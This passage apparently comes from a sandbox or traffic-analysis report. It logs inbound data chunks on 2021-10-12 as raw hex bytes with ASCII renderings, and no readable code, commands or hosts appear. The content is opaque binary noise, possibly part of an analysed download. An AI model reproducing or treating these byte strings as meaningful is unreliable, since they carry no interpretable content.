a0 f1 82 fc fc 29 80 61 04 5c 9e 19 7a a3 22 ca 49 8c 32 c8 1c 70 15 af 63 66 24 0c ec d7 19 cb 7a f7 ac 97 40 e2 d6 d2 16
ea 2d 38 d7 1a cc 2a 36 61 23 7b 28 72 27 26 01 aa 57 38 c1 71 db 7f 06 94 dd 6c aa e1 7c a2 23 c5 c2 5a 6e 2f bb e4 8a 
52 1e b2 5f 88 e6 de e5 9d 54 ae a6 a7 c1 7b b3 25 f1 d3 c1 8b ef 57 79 38 c5 ee b0 f6 d5 a6 1b 34 23 72 b5 ab 95 1e d6 
ba 9d 90 b6 a4 b5 5c aa f0 f6 34 94 06 8f ed 77 29 
Data Ascii: V=;?rn#defs^6,|HnW.a-N<^M,\=[Dmcqn!^N2c)a\z"I2pcf$z@-8*6a#{(r'&W8ql|#Zn/R_T{%Wy84#r\4w)

2021-10-12 14:35:51 UTC 163 IN Data Raw: 30 68 cd 1c d4 03 93 6e 40 b7 d8 80 2f 8a 5c f8 c5 c4 91 f4 e2 8d 2b 9a db c1 d4 09 d8 3e 99 c8 f6 8c cc ec 19 
77 3d e6 88 41 66 ad eb d2 ee 98 e7 03 13 4a f8 55 81 80 27 ee 92 d4 b5 d9 d7 88 48 3d 14 97 73 e3 09 d9 ab 15 11 26 
64 42 ba c3 09 6b 02 a0 8a 6e b8 74 b9 e5 fb c4 89 84 5e 8c bf e8 d4 ef 52 18 4d 60 45 3c 7d 5e 36 e3 d8 0b 2f 69 0c 82 
1c 17 43 78 27 5d e7 66 e3 83 5c d4 84 98 fa c3 24 b4 56 26 4d ab 24 dd ab 31 ab b1 6c 92 ff 54 ea d6 9f ea 5e 17 6e 6f 
bd 45 c2 c6 7a 55 6e 07 bf 3f fb f3 15 95 9a 92 4c 28 c3 d2 9a 86 16 0e 97 f6 17 c7 23 a1 e8 64 90 6f 6a d1 40 88 34 f3 42 
d4 7e f6 99 40 ee 34 5c f7 5a e7 5b fb f3 5d 68 7f eb ab bf 3c 42 1a 04 63 77 dd 44 0a 6a 52 b8 50 1e 25 c6 9b 0b 7b dd 
3e 23 64 78 ba ea f4 22 f3 2a 70 c3 76 2c 4b d4 42 5b 
Data Ascii: 0hn@/\+>w=AfJU'H=s&dBknt^RM`E<}^6/iCx']f\$V&M$1lT^noEzUn?L(#doj@4B~@4\Z[]h<BcwDjRP%{>#dx
"*pv,KB[

2021-10-12 14:35:51 UTC 164 IN Data Raw: 3f 16 29 57 4c 24 82 e4 28 91 df 64 48 05 ae f0 cd 14 c7 2b 56 01 75 11 ab 58 7c 1c f7 8c 9e 0b 0f ae 4b 5c 6c 
7a 34 29 9e 78 7d 11 0c 24 e4 a8 2f 1d 6d ad db 21 bd 2b 5a 2e f5 24 22 b6 be 94 a2 36 07 e3 15 f0 4c 12 50 47 84 30 a0 
82 be d3 a9 d6 75 b7 38 5c ec fd 14 8d e4 b3 7c a6 56 78 d0 b7 34 57 9a 3a 91 92 55 0e ea e1 3f f0 6a 7c ae 5e ab 98 96 
e3 4f 08 ac e6 3f 73 fc 64 67 85 3f ce 67 e0 82 a0 db 0e 8f 21 31 3e 96 63 b1 c4 59 39 6f d4 9b 91 52 66 b1 6a c5 55 25 2c
15 ae 2d 9c 48 b7 63 60 4a 4e 81 21 63 36 8f 2d d8 28 73 7a 79 f7 35 6f 89 2d 9d 0e aa cc 37 30 fa 9f 05 cb 4a b9 a2 38 
49 5f 2f 97 43 22 74 c5 3e e2 e7 ad 8a ea 2e d5 33 fb 08 07 c5 67 a2 99 64 95 ef 56 64 38 cf ef 0b fb d7 a7 1b 42 80 5d 85 
85 a7 2c f3 8a 78 91 b4 a4 b5 58 b6 97 f6 34 89 
Data Ascii: ?)WL$(dH+VuX|K\lz4)x}$/m!+Z.$"6LPG0u8\|Vx4W:U?j|^O?sdg?g!1>cY9oRfjU%,-Hc`JN!c6-(szy5o-70J8I_/C"t>.
3gdVd8B],xX4

2021-10-12 14:35:51 UTC 166 IN Data Raw: 9c 9d 91 16 98 3b 78 09 1c 94 25 9a 7d 02 96 a7 ad 03 9a a7 f9 00 7f 9d 61 ee a4 b7 2a cd 59 6f 01 44 c9 8f 
5d 51 b9 79 02 21 67 2e f8 9b 85 5e bd 3d f7 fd 67 da 13 be 61 ca db b0 90 a6 dc 81 58 aa c9 cc a1 5b 14 1c 87 50 fd cc 
3a a4 05 d6 39 a1 02 91 ce 6f 65 c7 2b 90 63 1c 68 bd a7 dd d7 b0 95 5a 58 d1 e7 0c f3 52 5c 55 6d af 29 29 c5 3f f0 d7 
28 6f 9e 3b c9 71 27 a5 66 3d 4d 7a 77 26 ea 44 c2 5f b6 1a 49 34 a7 15 7b 2b 14 23 9d 23 77 ee b7 6d d2 c3 2c af 08 98 
aa 35 56 2b 27 bc 05 49 cc 01 ea 6e 14 a9 7b be 7e 1f d3 9d da cc 34 6b 94 a1 a5 10 ac 83 e5 1e 87 b7 1f fb 2c 34 24 fe 
e4 55 c0 e0 b8 d6 39 6d be c3 37 7a 4f 49 bf 67 a1 cf 24 f8 15 59 57 71 0e b3 2f dc 40 18 f3 64 90 ec 75 fe 67 a1 1d e9 75 
06 6c 14 36 e6 67 e3 05 79 f7 c2 82 df 18 2d 3d 61 3a 
Data Ascii: ;x%}a*YoD]Qy!g.^=gaX[P:9oe+chZXR\Um))?(o;q'f=Mzw&D_I4{+##wm,5V+'In{~4k,4$U9m7zOIg$YWq/@d
ugul6gy-=a:

2021-10-12 14:35:51 UTC 167 IN Data Raw: c7 a0 56 d9 5d 13 40 d8 49 86 31 20 b3 a3 54 de 71 78 54 2e a2 bb 03 24 7d 58 f6 7f 05 87 0e 38 ce f0 99 c3 
5f 5e c6 c7 48 42 2c b4 28 c5 6e 51 47 91 bb 31 bd 8d 4a ef ef cf 34 06 7c da e7 7e 32 d9 e0 ae 1f b4 23 2f b5 89 04 4e 07 
61 11 d3 de 26 96 90 85 29 cb 58 b5 14 5a f7 5f c5 9e 71 e4 5e 31 57 4b 87 e2 b4 4b 9d 09 6a c4 4b cb e9 d2 13 a6 b2 39 
a9 6d 9a ce c1 15 d1 3a 82 b0 bf a0 31 54 4b d3 a2 a6 ba d3 1c f7 5e 0f 85 12 c5 2f 96 f4 ad 54 a7 3f db 42 9f a3 50 60 a5 
72 c2 67 3a 2a fb 6a 95 af 48 b0 63 32 94 65 83 27 62 c2 60 1f 61 2f 71 ec 78 89 14 6d 89 ba 9d 35 5a ca 8c 2d ff a7 07 cd 
5e 71 a5 0a 4a 5b d9 00 f9 b3 6b c2 3e 75 8e 9b 88 ec 2f cb ce c9 b1 00 c7 a3 a3 ab 81 8c ef 04 7e 0a c7 e8 b0 6d d4 d8 
04 44 17 cb 84 bc a4 28 e5 97 a3 a9 b4 a2 b5 ae 
Data Ascii: V]@I1 TqxT.$}X8_^HB,(nQG1J4|~2#/Na&)XZ_q^1WKKjK9m:1TK^/T?BP`rg:*jHc2e'b`a/qxm5Z-^qJ[k>u/~mD(

2021-10-12 14:35:51 UTC 168 IN Data Raw: 4f 70 7d 0e 8e 0c 80 90 16 a3 b6 68 1a 3d 03 31 4f 66 0c 97 a7 84 29 8a 25 f8 11 fe 0c f5 2c ad bb 9d d1 c1 72 
00 c4 39 82 e8 db b9 9c c2 07 77 2c f9 9b 6a f4 ad 29 d6 6a b2 1e 0b b0 60 ca 78 93 80 24 dd 97 df 30 d8 34 a8 55 16 12 
97 52 fc 4c c3 bb 35 43 39 a5 51 ac c3 6d 64 c7 ba 18 6e 08 49 2a ed e2 cd a2 94 5a 85 c4 ea 8e f2 44 38 dc 61 bd 21 39 
6e 84 bd d5 29 6f 5a 0b 82 6f 21 02 58 30 5d e4 29 26 99 4a d4 50 b0 f2 fe d4 b6 06 2d e3 e3 22 dd 3d 21 7f ab 77 91 3b 
78 3e cc 65 8a 2b 00 ab 75 aa 45 a6 dc 81 48 79 07 33 4f 3e e9 1e 97 92 8c 1d 2b 05 d9 ae a3 36 6d 85 f6 1c d1 26 88 d4 
73 43 7b 6f f8 8a eb fe ee 56 fd 7d f6 4a 60 7c 14 5f f7 fd 9c 4f d2 f9 5d 56 51 e0 ad ec 3f cf 16 b8 08 65 dd f2 23 68 7b 31 
51 1a 2a 97 a8 95 0a f8 31 63 57 68 ba 4b d5 09 
Data Ascii: Op}h=1Of)%,r9w,j)j`x$04URL5C9QmdnI*ZD8a!9n)oZo!X0])&JP-"=!w;x>e+uEHy3O>+6m&sC{oV}J`|_O]VQ?
e#h{1Q*1cWhK

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 169 IN Data Raw: 8f 8b 53 e2 cf 06 20 c1 f8 48 29 1e 44 52 de 2b 29 e5 d7 07 df 64 54 02 af f0 2b 17 74 24 fd 00 c2 89 ab 58 b8 
1d f1 8c 78 08 cd ae e0 5d 2e e0 34 29 cf 7b 39 13 25 30 20 a8 84 1c 6f ad db 21 29 2a 5c 36 46 02 04 b4 0b 95 a0 36 03 
e3 0a f7 0a 11 21 4c fd 3f 16 83 bc d3 a9 d6 58 a0 7e 5f 93 f6 d2 82 56 b2 de a6 56 78 a8 b4 72 54 eb 31 fd 9d ee 0f e8 e1 
3f f0 31 6b a8 46 8c bd b0 e1 f5 09 ae e6 3f 73 35 67 21 86 4e c5 16 ef 15 a1 de 0e 8f 21 ea 29 d0 60 ce cf ab 36 fe d5 9e 
91 52 66 a6 6e 83 56 49 27 40 a1 b1 9d 4a b6 63 60 90 57 87 39 58 11 90 2f 46 29 71 7b 79 f7 08 6b cf 2e f0 07 9a c3 a9 
31 f8 9e 05 cb 5d a2 e4 3b 2a 56 16 98 dd 23 76 c4 3e e2 8c a9 cc e9 5e dc b5 f4 96 06 ac fd a2 99 83 8a fe 4e 39 1d 43 
ee 95 fa 61 84 1b 42 17 5c 83 9d 9c 0b f6 8b 81 
Data Ascii: S H)DR+)dT+t$Xx].4){9%0 o!)*\6F6!L?X~_VVxrT1?1kF?s5g!N!)`6RfnVI'@Jc`W9X/F)q{yk.1];*V#v>^N9CaB\

2021-10-12 14:35:51 UTC 171 IN Data Raw: 27 86 64 20 8e d8 71 ac 15 82 10 87 26 12 89 36 74 0d 1c 94 30 95 7d 00 53 a6 32 2d a0 a5 44 06 df 9b f4 f3 
b6 b7 4a d4 31 63 2a 44 89 99 c9 4c b8 79 d9 0b 50 1d 09 8a 40 74 09 2d f7 fd b3 f5 10 bc f7 cb c2 9b aa a4 29 95 fe a7 
d9 ce b3 5b 81 13 0b 56 d6 cc ff b8 14 d4 38 a1 4b bc 91 6a 24 dd 90 98 1a 0b 68 bd ec e9 d7 b2 86 5c 75 d5 c0 0e a6 45 
19 4b 60 ad 3b 29 f1 32 38 d7 03 6f 3e 02 83 73 26 a5 43 21 0f 7f e1 3c b3 4a 08 58 b1 1c eb 32 a7 17 6f bf 58 20 f7 3d 7d 
74 aa 6a 92 dd 69 2f 05 9b 27 31 2a ab e9 a1 44 57 ca 07 5b 68 8a 9a dd 2f c3 1e 33 9f 8d 4c 28 6c c3 bf 29 02 d5 87 dc 
1c b5 2a 89 fa 64 2a 61 7e 6f 53 f8 f6 c4 56 dd 72 f7 dd 61 fa 0e 4e cb 7f 07 5e f8 f9 3d 64 50 77 ac b5 2f de 44 9f d2 61 f7 
f2 bf 5b 7a a6 50 f7 30 86 5b 17 6b f3 1b 63 db 
Data Ascii: 'd q&6t0}S2-DJ1c*DLyP@t-)[V8Kj$h\uEK`;)28o>s&C!<JX2oX =}tji/'1*DW[h/3L(l)*d*a~oSVraN^=dPw/Da[zP0[kc

2021-10-12 14:35:51 UTC 172 IN Data Raw: e7 5d 2d d6 75 d0 82 7e 1d 19 51 20 8d d8 94 7c 17 58 55 81 22 04 0c 2a d9 de 29 54 12 ea f1 bc 16 08 2d d0 
f6 77 d0 ab 15 b8 01 b3 8d ef 09 de a8 cd 18 43 5f 30 67 cf 2b 39 10 11 24 33 ae a9 4b 42 53 da 6f 2a 76 1e 2f 7c 27 f5 b0 
26 17 a8 13 07 ac 09 67 08 13 4d 47 53 36 3b 0d b4 2d a8 99 5b 3c 7c 5d f1 fd c3 8b 7b 89 ea 88 57 28 ab 64 70 56 9a 3a 
46 94 c3 47 dc 79 3c a0 32 b7 ea 5f b6 98 41 e5 d8 c5 bb c3 3b 22 36 77 22 84 22 ce b8 e6 38 7b cb f0 8e 70 e9 35 d3 62 
ac c4 ba 3f d3 f2 80 b4 56 34 a5 3e 80 54 38 2c fb a8 9c dc 54 48 62 32 93 0b c4 20 62 34 61 2b 6b b0 7e 55 78 a4 0b fb 
cc 2c 9c 0c 58 ca 84 99 f7 06 06 98 5e 3e e7 39 48 5d d9 91 f0 95 57 75 3a b6 8f 79 cf eb 2f d7 c9 fd bb c7 e6 db a6 cd 83 
56 aa 57 79 38 c5 e8 b8 dd c9 ef 1a 17 17 4c c3 84 
Data Ascii: ]-u~Q |XU"*)T-wC_0g+9$3KBSo*v/|'&gMGS6;-[<|]{W(dpV:FGy<2_A;"6w""8{p5b?V4>T8,THb2 b4a+k~U
x,X^>9H]Wu:y/VWy8L

2021-10-12 14:35:51 UTC 173 IN Data Raw: a2 c9 b0 4a 1d 15 bc 8d 06 ac a9 71 e4 81 83 0c 80 90 10 bb 0c 4d 22 3e e5 30 09 e9 01 97 a7 84 28 92 9f dd 
50 fd ea f4 87 2d b6 9d d1 c1 73 00 d3 38 80 c8 3d b8 19 40 0a 77 2c f9 9a 6a 68 aa 2c f6 8c b3 81 88 bd 60 ca 78 82 80 
33 dc f7 dc d6 d9 06 2b 5a 16 12 97 44 fc 5b c2 3b 36 a5 38 15 7a bc c3 6d 64 c1 a2 a2 4b 0d 69 cc ec 59 48 b3 94 5a 85 
a2 e9 99 f3 d2 39 3a 60 a5 a5 28 6e 30 e3 d3 31 55 7f 09 82 02 26 e6 dd 20 5d 78 76 40 9a 3c c4 52 b0 6d eb 60 39 16 2d 
ab 83 66 de aa 20 90 aa 1b 92 bd f7 2e cc 99 ea 3a 18 eb 50 3d 45 26 ca d3 c5 69 07 ab 2d 28 e9 89 96 a8 a8 3d 28 44 
5e be a3 16 0e 93 f6 8b d0 06 ac 8b 64 fe fc 7f f8 52 88 e8 ee c1 fc 2f d2 af 61 76 92 4f f7 79 f7 59 d2 6e 5c 19 75 03 ac 89
ac df 16 98 64 73 dd 65 22 0f 5f d2 50 63 b3 87 a8 15 
Data Ascii: JqM">0(P-s8=@w,jh,`x3+ZD[;68zmdKiYHZ9:`(n01U& ]xv@<Rm`9-f .:P=E&i-(=(D^dR/avOyYn\udse"_Pc

2021-10-12 14:35:51 UTC 175 IN Data Raw: 66 05 b6 5c a4 36 0e 27 ab 75 38 5a 77 e2 14 91 36 c1 4f 49 89 12 25 55 35 fb 0d e5 23 90 c9 64 c3 03 f0 fb c1 
16 18 cb d9 00 7e 10 bd 58 a4 1a 03 87 92 09 8a 4e c4 5d 6e 7a 22 29 d3 7c 23 1a 6c 24 af 48 a0 1c 6f ad ca 21 bd 2b f1 
04 01 27 75 57 2f 95 a0 36 12 e3 9e f6 87 38 30 47 7b d2 32 83 bc d3 bf d6 47 a7 28 57 8c fd 77 66 72 b2 de a6 40 78 6f 
b5 bf 47 e7 3a 32 7e ca 0f e8 e1 29 f0 a5 6a d0 75 cb 98 bd 13 d1 09 ae e6 29 73 2a 60 19 ae 5f ce 0c c2 30 a1 de 0e 89 
39 d3 0c 85 63 d1 c4 c2 ca da d5 9e 91 44 66 32 6f 1d 7e 45 2c 07 5a 95 9d 4a b6 75 60 04 56 71 0a 1f 34 3d db 62 29 71 
7b 6f f7 17 6c 83 01 e1 0c e8 3b 8d 31 f8 9e 03 d3 64 87 81 1b 35 5d 11 60 f9 23 76 c4 38 fa b5 8c db c6 52 d7 09 03 b2 
06 c7 67 c4 9a f5 9a fc 56 04 38 cc 14 b1 fa d5 a6 1d 
Data Ascii: f\6'u8Zw6OI%U5#d~XN]nz")|#l$Ho!+'uW/680G{2G(Wwfr@xoG:2~)ju)s*`_09cDf2o~E,ZJu`Vq4=b)q{ol;
1d5]`#v8RgV8

2021-10-12 14:35:51 UTC 176 IN Data Raw: 1f 69 9f 79 3b a1 b4 b0 95 19 0f 86 a8 25 19 d8 06 b8 e0 80 71 80 6a 14 a1 36 68 0b 8b 94 d0 97 88 02 ea a7 
92 2a 88 a5 f8 00 48 9b 55 e7 43 b5 e0 d1 f3 71 02 44 39 93 5e 4c b2 7a 2c 09 0a 2c b7 98 68 74 ad 3f 60 fd b6 e3 e5 be 
1d ca 12 90 82 a4 dd 81 69 a7 e7 cd 46 59 6b 12 12 51 fe cc c3 ad 83 d4 30 b6 be be be 6d c4 c4 b8 98 6e 1e ff bd 84 ea 
22 b0 e9 5a 39 c7 e8 0e f2 52 8e 4b 25 ba ce 2b 13 30 34 d6 2b 6f 5a 1a 14 73 91 a6 b6 23 20 78 85 25 9b 4a d4 41 26 1c 
84 25 52 15 50 ab 8c 26 df 3d 21 6e 3d 6a 93 d9 9c 2d b1 99 c0 2f 02 ab 75 bb d3 57 7c 1f ae 6a 7a ab 6b 3a eb 1e 97 83 
1a 4c 03 68 36 bd de 16 6c 81 f4 1c d1 37 1e fa e6 30 94 7c 85 52 f6 fa ec 56 fd 6c 60 dd 34 fe fb 4c 8a 79 6e 4b d0 f9 5d 
47 c7 77 ed ae da dc 6b 98 d1 61 df f2 23 7e ed a6 d9 
Data Ascii: iy;%qj6h*HUCqD9^Lz,,ht?`iFYkQ0mn"Z9RK%+04+oZs# x%JA&%RP&=!n=j-/uW|jzk:Lh6l70|RVl`4LynK]G
wka#~

2021-10-12 14:35:51 UTC 177 IN Data Raw: 7b ee dc 09 5f 66 8a ad 5e 33 37 1e ba d6 2b d1 62 74 9f 14 20 2d c3 d8 48 3f 80 58 97 87 c2 0e 98 23 42 d2 
66 54 02 ae 66 bc a7 09 cd da 7d 7e e4 a6 5a b8 1d f7 1a ef 3f d9 48 c7 20 6e 6c 3a 2b cf 7b 7d 87 11 c7 32 4e a3 61 6f 
95 d5 23 2a 2a 5a b8 7c 4b f2 50 2c e8 a0 6f 0d e1 09 f7 4c 84 4d 12 51 d6 31 fe bc a9 a7 d4 5b a0 38 ca f1 d3 cb 6b 71 
cf de 3a 58 7a ab b4 34 c1 9a b6 44 74 c9 72 e8 5f 31 f2 32 6b ae c8 b6 83 4b 05 d2 74 ae 06 31 71 36 67 67 13 22 77 ba 
06 32 dc de 0c 80 23 e9 29 96 f5 ac be ae df d9 a8 9e b5 5d 64 a5 6e c5 c3 38 cf f9 48 96 e0 4a f0 6c 62 93 57 81 b7 62 
90 75 cb 61 54 71 1c 76 f5 0b 6b 89 bb 9c 01 5b 2a 8e 4c f8 16 0a c9 5e a2 a2 ae 48 55 cf 71 fa 5e 76 6d 31 e0 8f a9 8a 
7c 2f 96 ca 1d b1 7b c7 ad ad 9b 83 8a ef c0 79 33 d2 08 
Data Ascii: {_f^37+bt -H?X#BfTf}~Z?H nl:+{}2Nao#**Z|KP,oLMQ1[8kq:Xz4Dtr_12kKt1q6gg"w2#)]dn8HJlbWbuaT
qvk[*L^HUq^vm1|/{y3

2021-10-12 14:35:51 UTC 178 IN Data Raw: 35 e8 ba d9 eb 90 6b 29 7b dd 35 c9 68 7a fd 0f fb a8 c1 96 da 71 ac 06 14 0c 24 95 f0 a1 4b 68 0e 07 96 30 95
6e 96 97 a5 b5 cf 88 d8 f8 27 c4 99 f4 f3 a5 21 9d 0d c4 94 02 39 39 db d2 4e b8 79 ca 9d 77 00 c8 7d 68 09 ad 55 ec ff b3 
f5 03 2a 60 dd 7e 75 82 d9 dd 0a e5 a5 d9 ce a0 cd 16 80 a6 b4 fe b1 c3 01 0f d6 38 a1 58 2a c3 2c 62 21 b8 e5 6e d3 73 
bf ec e9 c4 24 94 12 b7 22 e8 73 f2 bd 02 49 60 ad 28 bf 6e 5b e5 33 2b 12 5a 0b 99 71 26 a5 50 b7 5d 9c 42 c0 9b 37 d4 
72 ab 1e eb 32 b4 81 2d ca 82 c4 df 40 21 3a b0 68 92 dd 7a b9 cc 5c ec cd 02 d6 75 ce 5e 55 ca 07 48 fe 07 1f 2c d8 eb 
63 97 15 97 4e 28 6c d0 29 a3 2f 09 63 f4 61 d1 80 93 f8 64 2a 72 e8 f8 b4 89 18 ec 2b fd b5 ed df 61 fa 1d d8 f7 16 f0 a9 
d0 84 5d bc 4a 75 ac b5 3c 48 16 c0 66 83 df 8f 
Data Ascii: 5k){5hzq$Kh0n'!99Nyw}hU*`~u8X*,b!ns$"sI`(n[3+Zq&P]B7r2-@!:hz\u^UH,cN(l)/cad*r+a]Ju<Hf

2021-10-12 14:35:51 UTC 180 IN Data Raw: 68 d4 ea e0 ef 9a da 3a 9d 22 c2 01 46 5e 4e 37 3d 0a d4 75 d0 84 e0 e2 0d b0 c6 c3 a5 48 7b 30 5a 55 81 24 
9a e5 ed 94 39 66 29 02 cb d6 be 16 08 2b 4e 00 2e 31 4d 5a c5 1d 71 aa ed 09 de ae 53 5d 96 7e d2 2b b2 7b d5 37 13 
24 33 a8 37 1c 15 8c 3d 23 57 2a 90 08 7e 27 f5 b6 b8 95 82 33 e5 e1 74 f7 a7 34 4f 47 53 30 a5 83 26 f6 4f d4 26 a0 35 
7b f3 fd c3 8d e5 b2 8d a3 b0 7a d6 b4 1a 70 98 3a 46 92 5d 0f 3d ca d9 f2 4f 6b fe 79 b4 98 41 e3 46 09 d3 e3 d9 71 4b 
67 15 a2 20 ce b8 e0 a6 a1 05 3e 69 23 94 29 02 44 ae c4 ba 39 4d d5 39 94 b4 64 d8 6e 73 72 3a 2c fb ae 02 9d 4f 87 85 
62 ee 57 59 06 60 34 61 2d f5 29 ae 7e 9f f5 76 6b 73 0a 9e 0c 58 cc 1a 31 d7 af e3 c9 23 a2 be 10 4a 5d d9 97 6e 23 6c 
c2 d8 e0 f2 a9 b4 c2 2d d7 c9 fb 25 06 52 56 44 9b fe 8a b0 
Data Ascii: h:"F^N7=uH{0ZU$9f)+N.1MZqS]~+{7$37=#W*~'3t4OGS0&O&5{zp:F]=OkyAFqKg >i#)D9M9dnsr:,ObWY`4a-
)~vksX1#J]n#l-%RVD
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2021-10-12 14:35:51 UTC 181 IN Data Raw: 18 0e 3b 78 0b d3 7c c7 e0 3f 6f 6b 54 7b 84 91 cb b0 4a 1b 9b 86 2e 26 69 da 0c ac 7c b0 0e 80 90 16 35 36 
0b 1c fb 96 4d 95 f5 32 95 a7 84 29 1c a5 2d 03 38 99 89 f3 19 85 9f d1 c1 72 96 44 da 84 2e 4e c5 79 17 39 75 2c f9 9b fc 
74 b2 3b 10 ff ce f5 fd 8e 62 ca 78 93 16 a4 39 98 19 a5 a4 ce bf 68 14 12 97 52 6a cc 8a a9 f3 d6 45 a1 18 8f c1 6d 64 c7 
2c 98 71 05 8f bf 91 e9 a5 81 96 5a 85 c4 7c 0e 81 56 fe 49 1d ad ab 1a 6c 30 e3 d5 bf 6f a8 05 64 71 5b a5 f4 12 5f 78 76 
26 0f 4a 73 45 56 1e 96 32 71 24 2f ab 83 22 4b 3d 3d 4f 4d 68 ef dd 9d 1c ce 99 ea 2b 96 ab a4 bf a3 55 b7 07 41 5c 05 
ab 2d 3e 7f 1e c4 a2 6a 4e 55 6c fa 8b a1 16 0e 85 60 1c 2a 33 6e f8 19 2a 39 4a fa 52 88 fe 78 56 80 4d 10 df 1c fa 70 7a 
f5 79 f7 4f 44 f9 71 42 b7 75 d1 b5 b3 ea 14 
Data Ascii: ;x|?okT{J.&i|56M2)-8rD.Ny9u,t;bx9hRjEmd,qZ|VIl0odq[_xv&JsEV2q$/"K==OMh+UA\->jNUl`*3n*9JR
xVMpzyODqBu

2021-10-12 14:35:51 UTC 182 IN Data Raw: 45 f7 b4 53 76 15 54 e9 20 ef e7 da b8 35 20 66 05 a0 ca 33 38 14 ca d4 08 d0 20 48 e0 14 91 20 57 d8 e5 3d 
f0 5a 28 81 e2 32 e7 23 90 df f2 54 52 ba 16 be 6b 08 c3 e6 02 7e 10 ab ce b8 ca f5 6a ed 74 de a7 fa 5f 6e 7a 34 bf cf e3 
69 f7 13 59 33 82 9e 1e 6f ad db b7 2a 2b 59 c8 7e 5a f5 fa 11 97 a0 36 03 75 09 0b 59 f4 4f 3a 53 5e 0c 81 bc d3 a9 40 
5b 8b 3b ba f3 80 c3 1d 4c b0 de a6 56 ee ab 4b 22 b1 98 47 46 23 f4 0d e8 e1 3f 66 32 34 ad b8 b4 e5 41 31 ef 0b ae e6 
3f e5 36 5b 70 63 20 b3 b8 13 0f a3 de 0e 8f b7 e9 a0 95 85 ae b9 ba 2c 9b d7 9e 91 52 f0 a5 08 d2 b3 3a 51 fb 98 d4 9f 
4a b6 63 f6 93 8f 82 c7 60 49 61 75 23 2b 71 7b 79 61 0b 8d 9e cb 9e 71 58 b6 cc 33 f8 9e 05 5d 5e 80 a6 de 4a 20 d9 0c 
b8 21 76 c4 3e 74 8f 4e 93 0c 2d aa c9 46 f3 04 c7 67 
Data Ascii: ESvT 5 f38 H W=Z(2#TRk~jt_nz4iY3o*+Y~Z6uYO:S^@[;LVK"GF#?f24A1?6[pc ,R:QJc`Iau#+q{yaqX3]^J !v>tN-
Fg

2021-10-12 14:35:51 UTC 183 IN Data Raw: 19 e9 a8 1a 0e 1c da 3b 05 0b 6b a0 c5 d9 28 89 ff 29 f7 db 45 cb cd 4a c1 47 84 a8 25 8f 4e 71 a9 33 64 0e fd 
90 ea e9 34 68 0b 1d 02 30 c0 6f e6 95 da 84 37 c1 a7 f8 00 de 0d f4 4a a3 51 9f ac c1 4d 4b 46 39 93 c8 da b8 d1 cb ed 
75 51 f9 fa 21 76 ad 3f f6 6b b3 d8 04 5a 62 b7 78 11 cb a6 dd 81 ff 31 d9 14 a1 bd 14 6f 97 f6 b7 ce c3 ad 15 42 38 c2 5f 
5a c1 10 64 01 f1 9a 6e 1e 69 2b ec ee c6 54 96 27 85 2c a1 0c f2 52 18 dd 60 49 2f cf 6c 4d e3 df 65 6d 5a 1a 82 e5 26 
26 52 c7 5f 05 76 0a d5 48 d4 41 b0 8a eb 20 be f1 2f d6 83 6c 91 3f 21 6e ab fc 92 6d 78 c9 ce e4 ea 5b 4c a9 75 bb 45 
c1 ca 54 5c 8e 05 d6 2d ac a5 1c 97 83 8c da 28 b6 d2 59 a1 6b 0e 36 ba 1e d1 37 88 6c 64 b1 66 98 fa 2f 88 2a a2 54 fd 
6c f6 4b 61 fe 1e a8 f5 04 f7 b9 9e fb 5d 47 51 e1 
Data Ascii: ;k()EJG%Nq3d4h0o7JQMKF9uQ!v?kZbx1oB8_Zdni+T',R`I/lMemZ&&R_vHA /l?!nmx[LuET\-(Yk67ldf/*TlKa]GQ

2021-10-12 14:35:51 UTC 185 IN Data Raw: 9b f6 70 3e 95 45 8a b4 b5 b6 17 d4 eb c6 7b 9a 6f 17 ed 20 1b 05 a8 0b 31 37 1e 2c 40 75 4e 81 90 e0 69 91 
0a 96 da 48 3f 16 ce 55 7d 14 ea e7 5e 90 94 33 56 02 ae f0 2a 16 de 2e 3e 02 03 10 c7 0f ba 1d f7 8c 79 09 f8 9f 23 5f 13 
7a ba 7e cd 7b 7d 11 87 24 33 ae 47 1e 12 ad 74 76 28 2a 5a 2e ea 27 a5 87 c8 97 dd 36 d2 b4 0b f7 4c 12 db 47 68 36 
d5 81 c1 d3 5a 81 59 a0 38 5c 67 fd f8 bf 95 b0 a3 a6 42 20 a9 b4 34 57 0c 3a 23 94 2d 0d 95 e1 0a a8 30 6b ae 5e 20 98 
7c d0 36 0b d3 e6 69 2b 34 67 67 85 b4 ce 37 e6 d6 a3 a3 0e f7 79 eb 29 96 63 3a c4 b2 0c 3d d7 e3 91 c8 3e a7 6e c5 
55 ae 2c a3 af 72 9f 37 b6 df 38 91 57 81 21 f4 34 dd 2b 85 2b 0c 7b a7 af 09 6b 89 2d 0a 0c f3 cd 6a 33 85 9e 05 92 5c a2
a2 38 de 5d e9 90 1e 21 0b c4 1c bb 8d a9 8a ea b9 d7 14 
Data Ascii: p>E{o 17,@uNiH?U}^3V*.>y#_z~{}$3Gtv(*Z.'6LGh6ZY8\gB 4W:#-0k^ |6i+4gg7y)c:=>nU,r78W!4++{k-j3\8]!

2021-10-12 14:35:51 UTC 186 IN Data Raw: 00 85 b3 ab 0e 14 e9 3e 18 34 2d 31 39 78 0a d3 6a d4 d9 28 88 69 a9 68 dd a3 c8 b0 ca 08 0d 86 a9 25 0f cb 
71 ac 07 82 8c 93 90 16 a2 36 e8 18 1d 94 31 95 ee 13 97 a7 85 29 7e 85 f8 00 dc 9b 39 c3 a5 b7 9c d1 47 52 00 44 3b 
93 74 7c b8 79 cb 0b f7 3f f9 9b 6b 74 2d 2c f6 fd b2 f5 83 af 60 ca 79 93 00 b7 dd 81 fe a7 59 dd a0 5b 17 12 17 41 fc cc 
c2 ad 95 c7 38 a1 59 bc 43 7e 64 c7 bb 98 ee 0d 69 bd ed e9 44 a1 94 5a 84 c4 6a 1d f2 52 19 4b e0 be 28 29 6f 30 65 f5 
29 6f 58 1a 3e 43 26 a5 51 21 a9 58 76 26 9b 4a 19 71 b0 1c ea 32 34 04 2d ab 82 22 5d 2e 21 6e aa 6a 12 ce 7a 2f cd 99 
6a 38 00 ab 74 bb c5 44 ca 07 49 68 87 b8 2d 3e e8 1e 17 90 8c 4c 29 6c 50 ac a3 16 0f 85 76 0f d1 37 89 fa e4 39 72 7e 
f9 52 08 ed ee 56 fc 6c 76 ce 61 fa 1c 4e 77 6a f7 4f d3 
Data Ascii: >4-19xj(ih%q61)~9GRD;t|y?kt-,`yY[A8YC~diDZjRK()o0e)oX>C&Q!Xv&Jq24-"].!njz/j8tDIh->L)lPv79r~RVlvaNw
jO

